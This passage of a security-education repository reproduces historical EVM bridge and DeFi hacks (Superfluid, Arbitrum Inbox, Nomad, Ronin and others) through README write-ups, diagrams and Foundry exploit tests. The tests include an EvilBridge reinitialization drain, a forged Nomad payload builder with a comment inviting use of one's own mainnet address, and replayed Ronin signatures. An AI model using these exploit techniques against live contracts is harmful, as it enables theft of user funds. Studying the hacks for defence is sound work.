/test/Bad_Data_Validation/Multichain_Permit/multichain.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface AnyswapV4Router { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +anySwapOutUnderlyingWithPermit() 12 | 13 | } 14 | 15 | 16 | interface AnyswapV1ERC20 { 17 | ' -- inheritance -- 18 | 19 | ' -- usingFor -- 20 | 21 | ' -- vars -- 22 | 23 | ' -- methods -- 24 | +mint() 25 | +burn() 26 | +changeVault() 27 | +depositVault() 28 | +withdrawVault() 29 | +🔍underlying() 30 | 31 | } 32 | 33 | 34 | class Exploit_Multichain { 35 | ' -- inheritance -- 36 | {abstract}TestHarness 37 | {abstract}TokenBalanceTracker 38 | 39 | ' -- usingFor -- 40 | 41 | ' -- vars -- 42 | #[[address]] WETH_Address 43 | #[[AnyswapV4Router]] swapRouter 44 | #[[AnyswapV1ERC20]] swap20 45 | #[[IWETH9]] weth 46 | #{static}[[address]] ATTACKER 47 | #{static}[[address]] VICTIM 48 | #{static}[[uint256]] stole_WETH 49 | #{static}[[uint256]] FUTURE_DEADLINE 50 | 51 | ' -- methods -- 52 | +setUp() 53 | +test_attack() 54 | +🔍underlying() 55 | +burn() 56 | +depositVault() 57 | 58 | } 59 | ' -- inheritance / usingFor -- 60 | Exploit_Multichain --[#DarkGoldenRod]|> TestHarness 61 | Exploit_Multichain --[#DarkGoldenRod]|> TokenBalanceTracker 62 | 63 | @enduml -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Superfluid/README.md: -------------------------------------------------------------------------------- 1 | # Superfluid 2 | - **Type:** Exploit 3 | - **Network:** Polygon 4 | - **Total lost**: 19M QI + 24 WETH + 563K USDC + 11K MATIC + more... 5 | - **Category:** Data validation 6 | - **Exploited contracts:** 7 | - - [0x3E14dC1b13c488a8d5D310918780c983bD5982E7](https://polygonscan.com/address/0x3E14dC1b13c488a8d5D310918780c983bD5982E7) 8 | - **Attack transactions:** 9 | - - [0x396b6ee91216cf6e7c89f0c6044dfc97e84647f5007a658ca899040471ab4d67](https://polygonscan.com/tx/0x396b6ee91216cf6e7c89f0c6044dfc97e84647f5007a658ca899040471ab4d67) 10 | - **Attacker Addresses**: 11 | - - Contract: [0x32D47ba0aFfC9569298d4598f7Bf8348Ce8DA6D4](https://polygonscan.com/address/0x32D47ba0aFfC9569298d4598f7Bf8348Ce8DA6D4) 12 | - - EOA: [0x1574f7f4c9d3aca2ebce918e5d19d18ae853c090](https://polygonscan.com/address/0x1574f7f4c9d3aca2ebce918e5d19d18ae853c090) 13 | - **Attack Block:**: 24685148 14 | - **Date:** Feb 08, 2022 15 | - **Reproduce:** `forge test --match-contract Exploit_Superfluid -vvv` 16 | 17 | ## Step-by-step 18 | 1. Craft a `Context` with a forged `msg.sender` 19 | 2. Get it authorized via the host contract 20 | 21 | ## Detailed Description 22 | 23 | This attack relies on a problem in the serialization of the `ctx` in the `Host` contract. To understand this, we need to know that `Superfluid.sol` allows composing `agreements` from different `Super Apps` in a single transaction. 24 | 25 | To mantain a state throught the different calls to different `Supper Apps`, this `ctx` is set by the `Host` contract. 26 | 27 | Nevertheless, it was possible for the attacker to construct an initial `ctx` that impersonated any user. 28 | 29 | The problem can be seen in the [updateSubscription method](https://github.com/superfluid-finance/protocol-monorepo/blob/d04426e7d6950ae9a27d0c50debb7aab7cac1925/packages/ethereum-contracts/contracts/agreements/InstantDistributionAgreementV1.sol#L466), which uses the `AgreementLibrary` to `authorizeTokenAccess`. 30 | 31 | Unfortunately, this method [does not authorize much](https://github.com/superfluid-finance/protocol-monorepo/blob/d04426e7d6950ae9a27d0c50debb7aab7cac1925/packages/ethereum-contracts/contracts/agreements/AgreementLibrary.sol#L39) besides requiring that the call comes from a particular address. 32 | 33 | The attacker can now send a crafted message that set's anyone as the [`publisher`](https://github.com/superfluid-finance/protocol-monorepo/blob/d04426e7d6950ae9a27d0c50debb7aab7cac1925/packages/ethereum-contracts/contracts/agreements/InstantDistributionAgreementV1.sol#L483). 34 | 35 | ## Possible mitigations 36 | - The [`git blame`](https://github.com/superfluid-finance/protocol-monorepo/blame/48f5951c1fb30127a462cce7b16871c435d66e10/packages/ethereum-contracts/contracts/agreements/AgreementLibrary.sol#L43) of this fix is quite straightforward: the `authorizeTokenAccess` has to actually call the `Host` to make sure this context has been aproved by it. 37 | 38 | ## Diagrams and graphs 39 | 40 | ### Class 41 | 42 | ![class](superfluid.png) 43 | 44 | ## Sources and references 45 | -[Superfluid Twitter](https://twitter.com/Superfluid_HQ/status/1491045880107048962) 46 | -[Superfluid Writeup](https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd) 47 | -[Rekt Article](https://rekt.news/superfluid-rekt/) 48 | -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Superfluid/superfluid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bad_Data_Validation/Superfluid/superfluid.png -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Superfluid/superfluid.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface ISuperfluid { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +callAgreement() 12 | 13 | } 14 | 15 | 16 | class Exploit_Superfluid { 17 | ' -- inheritance -- 18 | {abstract}TestHarness 19 | {abstract}TokenBalanceTracker 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | #[[ISuperfluid]] superfluid 25 | #[[address]] agreementIDAV2 26 | #[[IERC20]] qi 27 | #[[address]] victim 28 | #{static}[[uint256]] CALL_INFO_CALL_TYPE_SHIFT 29 | #{static}[[uint256]] CALL_INFO_CALL_TYPE_MASK 30 | #{static}[[uint256]] CALL_INFO_APP_LEVEL_MASK 31 | 32 | ' -- methods -- 33 | +setUp() 34 | +test_attack() 35 | #🔍encodeCallInfo() 36 | #🔍decodeCallInfo() 37 | 38 | } 39 | ' -- inheritance / usingFor -- 40 | Exploit_Superfluid --[#DarkGoldenRod]|> TestHarness 41 | Exploit_Superfluid --[#DarkGoldenRod]|> TokenBalanceTracker 42 | 43 | @enduml -------------------------------------------------------------------------------- /test/Bridges/ArbitrumInbox/ArbitrumInbox.report.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import "forge-std/console.sol"; 6 | 7 | import {TestHarness} from "../../TestHarness.sol"; 8 | import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol"; 9 | 10 | interface IArbitrumInbox { 11 | function initialize(address _bridge, address _sequencerInbox) external; 12 | function depositEth() external payable; 13 | } 14 | 15 | contract EvilBridge { 16 | 17 | address public immutable owner; 18 | fallback() external payable {} 19 | receive() external payable {} 20 | 21 | constructor() { 22 | owner = msg.sender; 23 | } 24 | 25 | function enqueueDelayedMessage(uint8, address, bytes32) external payable returns(uint256) { 26 | console.log("Victim's value received: %s", msg.value); 27 | // returns silly fake message number 28 | return 9999; 29 | } 30 | 31 | function drain() external { 32 | payable(owner).transfer(address(this).balance); 33 | } 34 | } 35 | 36 | contract Report_ArbitrumInbox is TestHarness, TokenBalanceTracker { 37 | using stdStorage for StdStorage; 38 | 39 | address internal attacker = address(0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963); 40 | IArbitrumInbox internal arbitrumInbox = IArbitrumInbox(0x4Dbd4fc535Ac27206064B68FfCf827b0A60BAB3f); 41 | //vulnerable implementation 0x3e2198a77fc6b266082b92859092170763548730 42 | EvilBridge evilBridge; 43 | 44 | 45 | function setUp() external { 46 | // The upgrade was activated at block 15447157 (I did a bisection over history with anvil + cast, was not fun do not try) 47 | // By block 15460000 it was patched with no change in the implementation, 48 | // probably by re-initializing the contract and avoiding calling the postUpgradeInit method 49 | cheat.createSelectFork("mainnet", 15450000); // fork number fairly arbitrary, just when contract existed but before it was patched 50 | 51 | updateBalanceTracker(attacker); 52 | updateBalanceTracker(address(arbitrumInbox)); 53 | } 54 | 55 | function test_attack() external { 56 | logBalancesWithLabel("Balances of attacker contract before:", attacker); 57 | uint balanceBefore = attacker.balance; 58 | 59 | cheat.startPrank(attacker); 60 | evilBridge = new EvilBridge(); 61 | 62 | console.log("Attacker re-initializes bridge with their evil bridge."); 63 | arbitrumInbox.initialize(address(evilBridge), address(0x00)); 64 | 65 | cheat.stopPrank(); 66 | 67 | arbitrumInbox.depositEth{value: 100 ether}(); 68 | evilBridge.drain(); 69 | uint balanceAfter = attacker.balance; 70 | 71 | updateBalanceTracker(attacker); 72 | updateBalanceTracker(address(arbitrumInbox)); 73 | logBalancesWithLabel("Balances of attacker contract after:", attacker); 74 | 75 | 76 | assertEq(balanceAfter - balanceBefore, 100 ether); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /test/Bridges/ArbitrumInbox/README.md: -------------------------------------------------------------------------------- 1 | # Arbitrum Inbox 2 | - **Type:** Report 3 | - **Network:** Ethereum 4 | - **Total lost**: 400K USD (bounty price) 5 | - **Category:** Reinitialization 6 | - **Vulnerable contracts:** 7 | - - Vulnerable implementation: [0x3e2198a77fc6b266082b92859092170763548730](https://etherscan.io/address/0x3e2198a77fc6b266082b92859092170763548730) 8 | - - Proxy: [0x4Dbd4fc535Ac27206064B68FfCf827b0A60BAB3f](https://etherscan.io/address/0x4Dbd4fc535Ac27206064B68FfCf827b0A60BAB3f) 9 | - **Attack transactions:** 10 | - - None 11 | - **Attacker Addresses**: 12 | - - None 13 | - **Attack Block:**: - 14 | - **Date:** Sept 19, 2022 (public disclosure) 15 | - **Reproduce:** `forge test --match-contract Report_ArbitrumInbox -vvv` 16 | 17 | ## Step-by-step 18 | 1. Craft an evil `_bridge` contract 19 | 2. Call `initialize` setting the `_bridge` to be your malicious contract. 20 | 21 | ## Detailed Description 22 | 23 | The Inbox is part of the Arbitrum Bridge between ETH and Arbitrum. The Inbox takes some messages and forwards them to the Bridge contract. 24 | 25 | To do this, it takes a reference to the bridge address in its `initialize`. As hinted by this method, the whole contract is behind an [Universal Upgradable Proxy](https://docs.openzeppelin.com/contracts/4.x/api/proxy#UUPSUpgradeable). 26 | 27 | The problem can be found in the initialization of the implementation contract. While the `initialize` method is correctly protected by a `initializer` guard, which makes sure that this method can only be called once, it does so by [using flags which are in position `0x00` and `0x01` in the storage](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/proxy/utils/Initializable.sol). But the `postUpgradeInit` method, called after initialization, deletes the first three slots! 28 | 29 | This results in the contract being marked as not-initialized and deleting its reference to the `_sequencerInbox`. This last variable is not used, so it's not actually a problem. But now that the contract is marked as not-initialized, anyone can call `initialize` again with their own `_bridge` address! 30 | 31 | ``` solidity 32 | function initialize(IBridge _bridge, ISequencerInbox _sequencerInbox) 33 | external 34 | initializer 35 | onlyDelegated 36 | { 37 | bridge = _bridge; 38 | sequencerInbox = _sequencerInbox; 39 | allowListEnabled = false; 40 | __Pausable_init(); 41 | } 42 | 43 | /// @dev function to be called one time during the inbox upgrade process 44 | /// this is used to fix the storage slots 45 | function postUpgradeInit(IBridge _bridge) external onlyDelegated onlyProxyOwner { 46 | uint8 slotsToWipe = 3; 47 | for (uint8 i = 0; i < slotsToWipe; i++) { 48 | assembly { 49 | sstore(i, 0) 50 | } 51 | } 52 | allowListEnabled = false; 53 | bridge = _bridge; 54 | } 55 | ``` 56 | 57 | An attacker can quite easily exploit this by taking advantage of a call the Inbox makes to the Bridge which sends value, specifically to the method `enqueueDelayedMessage()` (follow `depositEth` in the vulnerable contract for the full path). An attacker could have forwarded all ETH deposits from the inbox to their own evil contract. 58 | 59 | Maybe more interesting than the exploit itself is how the vulnerability came to be. Two different commits where needed to break the contract: 60 | 61 | 1. [c33765fa66d74733ab740c0f0cbdf27a05d1d985](https://github.com/OffchainLabs/nitro/commit/c33765fa66d74733ab740c0f0cbdf27a05d1d985) on Feb 18, 2022 introduced the wiping of the slots. This nevertheless was not vulnerable: even though the slots where wiped, they were _replaced_ by another flag in the `initialize` method: `if(address(bridge) != address(0)) revert AlreadyInit();`. This explains why it was safe to delete these slots, as they are not needed anymore. 62 | 2. [2631e1e0a4767ef95898ccdca727d61fa1353031](https://github.com/OffchainLabs/nitro/commit/2631e1e0a4767ef95898ccdca727d61fa1353031#diff-de26d64a8be62f56073b95f0590061da9411001beaa20cc71ebdb2316303430cR58) on Aug 1, 2022. 6 months after the commit that removed the slots, it was likely forgotten that the `address(bridge)` check replaced the `initialize` flags, and the check was removed; making the contract vulnerable. 63 | 64 | ## Possible mitigations 65 | - Be careful when wiping up slots. 66 | - Be careful when removing "useless" checks. 67 | - Test deploy conditions, like `should not be able to reinitialize contract` 68 | 69 | ## Sources and references 70 | - [Writeup](https://medium.com/@0xriptide/hackers-in-arbitrums-inbox-ca23272641a2) 71 | -------------------------------------------------------------------------------- /test/Bridges/NomadBridge/NomadBridge.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {IERC20} from "../../interfaces/IERC20.sol"; 7 | 8 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 9 | 10 | interface INomadReplica { 11 | function initialize(uint32 _remoteDomain, address _updater, bytes32 _committedRoot, uint256 _optimisticSeconds) external; 12 | function process(bytes memory _message) external returns (bool _success); 13 | function acceptableRoot(bytes32 _root) external view returns (bool); 14 | } 15 | 16 | contract Exploit_Nomad is TestHarness, TokenBalanceTracker { 17 | 18 | address internal constant NOMAD_DEPLOYER = 0xA5bD5c661f373256c0cCfbc628Fd52DE74f9BB55; 19 | address internal constant attacker = address(0xa8C83B1b30291A3a1a118058b5445cC83041Cd9d); 20 | 21 | uint32 internal constant ETHEREUM = 0x657468; // "eth" 22 | uint32 internal constant MOONBEAM = 0x6265616d; // "beam" 23 | 24 | INomadReplica internal constant replicaProxy = INomadReplica(0x5D94309E5a0090b165FA4181519701637B6DAEBA); 25 | INomadReplica internal constant replica = INomadReplica(0xB92336759618F55bd0F8313bd843604592E27bd8); 26 | 27 | address internal constant bridgeRouter = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; 28 | address internal constant ercBridge = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; 29 | 30 | IERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); 31 | 32 | function setUp() external { 33 | cheat.createSelectFork("mainnet", 15259100); // We pin one block before the attacker starts to drain the bridge after he sent the 0.1 WBTC tx on Moonbeam. 34 | cheat.label(NOMAD_DEPLOYER, "Nomad Deployer"); 35 | 36 | addTokenToTracker(address(WBTC)); 37 | 38 | console.log("\nInitial balances:"); 39 | updateBalanceTracker(ercBridge); 40 | updateBalanceTracker(address(this)); 41 | 42 | } 43 | 44 | function test_attack() external { 45 | uint256 balanceAttackerBefore = WBTC.balanceOf(address(this)); 46 | 47 | logBalancesWithLabel("Bridge", ercBridge); 48 | logBalancesWithLabel("Attacker", address(this)); 49 | 50 | // Try changing address(this) for your address in mainnet ;) 51 | bytes memory payload = getPayload(address(this), address(WBTC), WBTC.balanceOf(ercBridge)); 52 | 53 | emit log_named_bytes("Tx Payload", payload); 54 | 55 | bool success = replicaProxy.process(payload); 56 | require(success, "Process failed"); 57 | 58 | console.log("Final balances:"); 59 | logBalancesWithLabel("Bridge", ercBridge); 60 | logBalancesWithLabel("Attacker", address(this)); 61 | 62 | uint256 balanceAttackerAfter = WBTC.balanceOf(address(this)); 63 | assertGe(balanceAttackerAfter, balanceAttackerBefore); 64 | } 65 | 66 | function getPayload(address recipient, address token, uint256 amount) public pure returns (bytes memory) { 67 | 68 | bytes memory payload = abi.encodePacked( 69 | MOONBEAM, // Home chain domain 70 | uint256(uint160(bridgeRouter)), // Sender: bridge 71 | uint32(0), // Dst nonce 72 | ETHEREUM, // Dst chain domain 73 | uint256(uint160(ercBridge)), // Recipient (Nomad ERC20 bridge) 74 | ETHEREUM, // Token domain 75 | uint256(uint160(token)), // token id (e.g. WBTC) 76 | uint8(0x3), // Type - transfer 77 | uint256(uint160(recipient)), // Recipient of the transfer 78 | uint256(amount), // Amount (e.g. 10000000000) 79 | uint256(0) // Optional: Token details hash 80 | // keccak256( 81 | // abi.encodePacked( 82 | // bytes(tokenName).length, 83 | // tokenName, 84 | // bytes(tokenSymbol).length, 85 | // tokenSymbol, 86 | // tokenDecimals 87 | // ) 88 | // ) 89 | ); 90 | 91 | return payload; 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /test/Bridges/NomadBridge/nomad-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bridges/NomadBridge/nomad-call.png -------------------------------------------------------------------------------- /test/Bridges/NomadBridge/nomad.d2: -------------------------------------------------------------------------------- 1 | Nomad { 2 | Moonbeam { 3 | mb-deposit: Deposit 0.1 WBTC 4 | } 5 | 6 | Mainnet { 7 | payload: getPayload() 8 | process: process() 9 | } 10 | } 11 | 12 | Attacker -> Nomad.Moonbeam.mb-deposit: 1° 13 | Attacker -> Nomad.Mainnet.payload: 2° 14 | Attacker -> Nomad.Mainnet.process: 3° 15 | 16 | explanation: |md 17 | # Nomad 18 | - Bad root commitment 19 | - Reproduceable just by copying payload 20 | | 21 | -------------------------------------------------------------------------------- /test/Bridges/NomadBridge/nomad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bridges/NomadBridge/nomad.png -------------------------------------------------------------------------------- /test/Bridges/NomadBridge/nomad.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface INomadReplica { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +initialize() 12 | +process() 13 | +🔍acceptableRoot() 14 | 15 | } 16 | 17 | 18 | class Exploit_Nomad { 19 | ' -- inheritance -- 20 | {abstract}TestHarness 21 | {abstract}TokenBalanceTracker 22 | 23 | ' -- usingFor -- 24 | 25 | ' -- vars -- 26 | #{static}[[address]] NOMAD_DEPLOYER 27 | #{static}[[address]] attacker 28 | #{static}[[uint32]] ETHEREUM 29 | #{static}[[uint32]] MOONBEAM 30 | #{static}[[INomadReplica]] replicaProxy 31 | #{static}[[INomadReplica]] replica 32 | #{static}[[address]] bridgeRouter 33 | #{static}[[address]] ercBridge 34 | #{static}[[IERC20]] WBTC 35 | 36 | ' -- methods -- 37 | +setUp() 38 | +test_attack() 39 | +🔍getPayload() 40 | 41 | } 42 | ' -- inheritance / usingFor -- 43 | Exploit_Nomad --[#DarkGoldenRod]|> TestHarness 44 | Exploit_Nomad --[#DarkGoldenRod]|> TokenBalanceTracker 45 | 46 | @enduml -------------------------------------------------------------------------------- /test/Bridges/PolyNetworkBridge/polynetwork-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bridges/PolyNetworkBridge/polynetwork-call.png -------------------------------------------------------------------------------- /test/Bridges/PolyNetworkBridge/polynetwork.d2: -------------------------------------------------------------------------------- 1 | PolyNetwork { 2 | 3 | setterTx: verifyHeaderAndExecuteTx(modifyPublicKeyParams) 4 | drainTx: verifyHeaderAndExecuteTx(drainParams) 5 | 6 | } 7 | 8 | Attacker -> PolyNetwork.setterTx: 1° 9 | Attacker -> PolyNetwork.drainTx: 2° 10 | 11 | explanation: |md 12 | # PolyNetwork 13 | - Access control leak 14 | - Public Key modified with whitelisted contract 15 | | 16 | -------------------------------------------------------------------------------- /test/Bridges/PolyNetworkBridge/polynetwork.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bridges/PolyNetworkBridge/polynetwork.png -------------------------------------------------------------------------------- /test/Bridges/PolyNetworkBridge/polynetwork.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IEthCrossChainManager { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +verifyHeaderAndExecuteTx() 12 | 13 | } 14 | 15 | 16 | class Exploit_PolyNetwork { 17 | ' -- inheritance -- 18 | {abstract}TestHarness 19 | {abstract}TokenBalanceTracker 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | #[[IEthCrossChainManager]] bridge 25 | #[[address]] attacker 26 | 27 | ' -- methods -- 28 | +setUp() 29 | +test_attack() 30 | +deserializeProof() 31 | +deserializeHeader() 32 | 33 | } 34 | 35 | 36 | class Exploit_PolyNetwork_Deserializer { 37 | ' -- inheritance -- 38 | {abstract}TestHarness 39 | {abstract}TokenBalanceTracker 40 | 41 | ' -- usingFor -- 42 | 43 | ' -- vars -- 44 | 45 | ' -- methods -- 46 | +🔍deseralizeProof() 47 | +🔍deserializeHeader() 48 | 49 | } 50 | ' -- inheritance / usingFor -- 51 | Exploit_PolyNetwork --[#DarkGoldenRod]|> TestHarness 52 | Exploit_PolyNetwork --[#DarkGoldenRod]|> TokenBalanceTracker 53 | Exploit_PolyNetwork_Deserializer --[#DarkGoldenRod]|> TestHarness 54 | Exploit_PolyNetwork_Deserializer --[#DarkGoldenRod]|> TokenBalanceTracker 55 | 56 | @enduml -------------------------------------------------------------------------------- /test/Bridges/RoninBridge/README.md: -------------------------------------------------------------------------------- 1 | # Ronin Bridge 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: ~624MM USD 5 | - **Category:**: Key Leak 6 | - **Vulnerable contracts:** 7 | - - None 8 | - **Attack transactions:** 9 | - - ETH: [0xc28fad5e8d5e0ce6a2eaf67b6687be5d58113e16be590824d6cfa1a94467d0b7](https://etherscan.io/tx/0xc28fad5e8d5e0ce6a2eaf67b6687be5d58113e16be590824d6cfa1a94467d0b7) 10 | - - USDC: [0xed2c72ef1a552ddaec6dd1f5cddf0b59a8f37f82bdda5257d9c7c37db7bb9b08](https://etherscan.io/tx/0xed2c72ef1a552ddaec6dd1f5cddf0b59a8f37f82bdda5257d9c7c37db7bb9b08) 11 | - **Attacker Addresses**: 12 | - - [0x098b716b8aaf21512996dc57eb0615e2383e2f96](https://etherscan.io/address/0x098b716b8aaf21512996dc57eb0615e2383e2f96) 13 | - **Attack Block:**: 14442835, 14442840 14 | - **Date:** Mar 23, 2022 15 | - **Reproduce:** `forge test --match-contract Exploit_RoninBridge -vvv` 16 | 17 | ## Step-by-step 18 | 1. Social engineer attack against key holders to get privileged keys 19 | 2. Use the privileged keys to drain funds 20 | 21 | ## Detailed Description 22 | 23 | The Ronin Bridge was operated by 9 validators with a threshold of 5 out of the 9. This threshold was misleading though, as 4 validators were operated by Sky Mavis. What is more: in Nov 2021, Axie delegated their validator's signature to Sky Mavis too. This delegation was supposed to be temporary, as Axie was experiencing heavy traffic. Nevertheless, it was never revoked. 24 | 25 | As a result, Sky Mavis had 5 signatures. Enough to approve any message. 26 | 27 | The attacker got control of the keys doing a social-engineer attack. Once they had it, the were able to call `withdrawERC` from the bridge without a backing transaction on the other side. 28 | 29 | 30 | ## Possible mitigations 31 | - Multisigs do not matter if in practice several keys are controlled by the same entity. Distribute keys to independent entities to actually enforce that several entities must agree with a transaction before executing it. 32 | 33 | ## Diagrams and graphs 34 | 35 | ### Class 36 | 37 | ![class](ronin.png) 38 | 39 | ### Call graph 40 | 41 | ![call](ronin-call.png) 42 | 43 | ## Sources and references 44 | - [Writeup](https://roninblockchain.substack.com/p/community-alert-ronin-validators) 45 | - [Article](https://rekt.news/ronin-rekt/) 46 | -------------------------------------------------------------------------------- /test/Bridges/RoninBridge/RoninBridge.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 7 | 8 | interface IRoninBridge { 9 | function withdrawERC20For(uint256 _withdrawalId, address _user, address _token, uint256 _amount, bytes memory _signatures) external; 10 | } 11 | 12 | contract Exploit_RoninBridge is TestHarness, TokenBalanceTracker { 13 | address internal attacker = 0x098B716B8Aaf21512996dC57EB0615e2383E2f96; 14 | 15 | address internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 16 | address internal usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 17 | 18 | IRoninBridge internal bridge = IRoninBridge(0x1A2a1c938CE3eC39b6D47113c7955bAa9DD454F2); 19 | 20 | // this attack also relies on presigned payloads found on traces 21 | // In this case, thought, there is not much to gain from reversing 22 | // the logic behind the attack, at least not on chain 23 | // the attacker just got access to the private keys, so 24 | // there's not much to reverse 25 | function setUp() external { 26 | cheat.createSelectFork('mainnet', 14442834); // One block before the first weth transfer 27 | 28 | addTokenToTracker(weth); 29 | addTokenToTracker(usdc); 30 | 31 | updateBalanceTracker(attacker); 32 | updateBalanceTracker(address(bridge)); 33 | } 34 | 35 | 36 | function test_attack() external { 37 | console.log('------- INITIAL BALANCES -------'); 38 | logBalancesWithLabel('Attacker', attacker); 39 | logBalancesWithLabel('Bridge', address(bridge)); 40 | 41 | console.log('------- STEP 1: DRAIN WETH TOKENS -------'); 42 | 43 | bridge.withdrawERC20For( 44 | 2000000, 45 | attacker, 46 | weth, 47 | 173_600 ether, 48 | hex'01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c' 49 | ); 50 | 51 | logBalancesWithLabel('Attacker', attacker); 52 | logBalancesWithLabel('Bridge', address(bridge)); 53 | 54 | console.log('------- STEP 1: DRAIN USDC TOKENS 5 BLOCKS LATER -------'); 55 | cheat.rollFork(block.number + 4); 56 | 57 | 58 | bridge.withdrawERC20For( 59 | 2000001, 60 | attacker, 61 | usdc, 62 | 25500000000000, 63 | hex'016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b' 64 | ); 65 | 66 | logBalancesWithLabel('Attacker', attacker); 67 | logBalancesWithLabel('Bridge', address(bridge)); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /test/Bridges/RoninBridge/ronin-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bridges/RoninBridge/ronin-call.png -------------------------------------------------------------------------------- /test/Bridges/RoninBridge/ronin.d2: -------------------------------------------------------------------------------- 1 | Multisig { 2 | keys: 5 out of 9 3 | } 4 | 5 | 6 | Ronin { 7 | wethDrain: withdrawERC20For(wethParams) 8 | usdcDrain: withdrawERC20For(usdcParams) 9 | } 10 | 11 | Attacker <-> Multisig.keys: 1°: Compromised keys 12 | Attacker -> Ronin.wethDrain: 2°: Drain WETH 13 | Attacker -> Ronin.usdcDrain: 3°: Drain USDC 14 | Multisig <-> Ronin 15 | 16 | 17 | 18 | 19 | explanation: |md 20 | # Ronin 21 | - Private Key leak 22 | - Social engineering attack 23 | | 24 | -------------------------------------------------------------------------------- /test/Bridges/RoninBridge/ronin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bridges/RoninBridge/ronin.png -------------------------------------------------------------------------------- /test/Bridges/RoninBridge/ronin.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IRoninBridge { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +withdrawERC20For() 12 | 13 | } 14 | 15 | 16 | class Exploit_RoninBridge { 17 | ' -- inheritance -- 18 | 